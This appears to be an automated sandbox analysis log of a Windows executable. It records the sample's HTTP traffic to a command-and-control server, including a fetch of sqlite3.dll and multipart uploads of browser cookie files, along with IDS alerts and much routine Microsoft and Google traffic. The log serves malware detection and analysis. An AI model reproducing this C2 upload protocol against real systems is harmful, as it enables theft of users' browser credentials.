Source: global traffic	HTTP traffic detected: POST /3b55d279dd60140c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: 45.88.76.238Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="message"plugins------FHDAEHDAKECGCAKFCFIJ--
Source: global traffic	HTTP traffic detected: POST /3b55d279dd60140c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCFBFBAEBKJKEBGCAEHHost: 45.88.76.238Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 2d 2d 0d 0a Data Ascii: ------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="message"fplugins------EHCFBFBAEBKJKEBGCAEH--
Source: global traffic	HTTP traffic detected: POST /3b55d279dd60140c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEHHost: 45.88.76.238Content-Length: 6387Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /11d003c031fcb1b4/sqlite3.dll HTTP/1.1Host: 45.88.76.238Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3b55d279dd60140c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKFHost: 45.88.76.238Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AAEHDAAKEHJECBFHCBKF--
Source: global traffic	HTTP traffic detected: POST /3b55d279dd60140c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDGCGDBGCAAEBFIECGHHost: 45.88.76.238Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="file"------HJDGCGDBGCAAEBFIECGH--

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 45.88.76.238:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49906 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.76.238

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=w1NrhScwMP4Pzkz&MD=PmcYeuu9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
